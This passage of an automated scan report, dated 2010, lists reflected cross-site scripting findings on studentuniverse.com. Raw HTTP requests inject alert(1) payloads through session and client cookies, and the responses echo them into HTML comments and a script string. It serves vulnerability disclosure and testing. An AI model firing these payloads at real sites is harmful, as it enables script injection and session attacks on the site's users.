X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D4097abe--><script>alert(1)</script>9b6a518e94f; Path=/
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 20:56:57 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sat, 13 Nov 2010 20:56:57 GMT
Connection: close
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" la
...[SNIP]...
<!-- Debug Output
Client ip address: 174.121.222.18
JSession ID: D908FC9041321ED5C843E95052313D4097abe--><script>alert(1)</script>9b6a518e94f
Requested session id: D908FC9041321ED5C843E95052313D4097abe-->
...[SNIP]...

1.76. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/dynamicInfo.js [ClientID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/dynamic/dynamicInfo.js

Issue detail

The value of the ClientID cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dfd55"-alert(1)-"2e28bc69875 was submitted in the ClientID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /Build7.6.3.2_20/javascript/dynamic/dynamicInfo.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926dfd55"-alert(1)-"2e28bc69875; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:35 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:34 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 10368


var currentTime = new Date("Sat Nov 13 17:00:35 EST 2010");

loggedIn = false;

hasResults = false;
var resultsPerPage = 20;
var ipAddress = "174.121.222.18";
var userAgent = "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7";
var clientId = "D908FC.14926dfd55"-alert(1)-"2e28bc69875";

function getCurrentDateRef() {
   return new Date(currentTime.getTime());
}

// JQUERY tabs
$(document).ready(function(){
       
   $('#airsearchresultslist >
...[SNIP]...

1.77. http://www.studentuniverse.com/fly/searchUtil [JSESSIONID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /fly/searchUtil

Issue detail

The value of the JSESSIONID cookie is copied into an HTML comment. The payload ce5fd--><script>alert(1)</script>1f8bb9f03ec was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /fly/searchUtil HTTP/1.1
Host: www.studentuniverse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40ce5fd--><script>alert(1)</script>1f8bb9f03ec; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;

Response (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 20:56:48 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sat, 13 Nov 2010 20:56:47 GMT
Connection: close
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" la
...[SNIP]...
<!-- Debug Output
Client ip address: 174.121.222.18
JSession ID: D908FC9041321ED5C843E95052313D40ce5fd--><script>alert(1)</script>1f8bb9f03ec
Requested session id: D908FC9041321ED5C843E95052313D40ce5fd-->
...[SNIP]...

1.78. http://www.studentuniverse.com/grouptravelrequest [JSESSIONID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /grouptravelrequest

Issue detail

The value of the JSESSIONID cookie is copied into an HTML comment. The payload 59c21--><script>alert(1)</script>42cc8276137 was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /grouptravelrequest HTTP/1.1
Host: www.studentuniverse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D4059c21--><script>alert(1)</script>42cc8276137; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D4059c21--><script>alert(1)</script>42cc8276137; Path=/
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Tue, 14-Dec-2010 02:05:12 GMT; Path=/
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Cache-Control: no-store
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en
Date: Sun, 14 Nov 2010 02:05:12 GMT
Connection: close
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang=
...[SNIP]...
<!-- Debug Output
Client ip address: 174.121.222.18
JSession ID: D908FC9041321ED5C843E95052313D4059c21--><script>alert(1)</script>42cc8276137
Requested session id: D908FC9041321ED5C843E95052313D4059c21-->
...[SNIP]...

1.79. http://www.studentuniverse.com/includes/airsearchWait.jsp [JSESSIONID cookie]  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /includes/airsearchWait.jsp

Issue detail

The value of the JSESSIONID cookie is copied into an HTML comment. The payload f6846--><script>alert(1)</script>f6cf6d1d951 was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /includes/airsearchWait.jsp HTTP/1.1
Host: www.studentuniverse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40f6846--><script>alert(1)</script>f6cf6d1d951; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40f6846--><script>alert(1)</script>f6cf6d1d951; Path=/
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 20:56:45 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sat, 13 Nov 2010 20:56:45 GMT
Connection: close
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lan
...[SNIP]...
<!-- Debug Output
Client ip address: 174.121.222.18
JSession ID: D908FC9041321ED5C843E95052313D40f6846--><script>alert(1)</script>f6cf6d1d951
Requested session id: D908FC9041321ED5C843E95052313D40f6846-->
...[SNIP]...

Report generated by XSS.CX at Sun Nov 14 16:17:01 CST 2010.